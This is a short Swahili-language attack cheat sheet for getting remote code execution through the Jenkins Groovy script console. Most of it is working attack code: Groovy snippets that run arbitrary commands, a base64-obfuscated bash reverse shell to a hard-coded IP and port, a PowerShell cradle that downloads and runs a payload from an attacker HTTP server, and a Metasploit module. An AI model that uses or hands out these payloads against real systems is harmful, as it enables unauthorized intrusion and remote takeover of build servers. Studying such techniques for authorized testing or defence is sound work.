Jenkins RCE with Groovy Script

Hii ni kimya zaidi kuliko kuunda mradi mpya katika Jenkins

  1. Nenda kwenye path_jenkins/script
  2. Ndani ya kisanduku cha maandiko ingiza scripti
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Unaweza kutekeleza amri kwa kutumia: cmd.exe /c dir

Katika linux unaweza kufanya: "ls /".execute().text

Ikiwa unahitaji kutumia quotes na single quotes ndani ya maandiko. Unaweza kutumia “”“PAYLOAD”“” (triple double quotes) kutekeleza payload.

Script nyingine ya groovy yenye manufaa ni (badilisha [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell katika linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell katika windows

Unaweza kuandaa seva ya HTTP yenye PS reverse shell na kutumia Jeking kupakua na kuitekeleza:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Unaweza kuendesha mchakato huu kwa kutumia hiki skripti.

Unaweza kutumia MSF kupata shell ya kurudi:

msf> use exploit/multi/http/jenkins_script_console
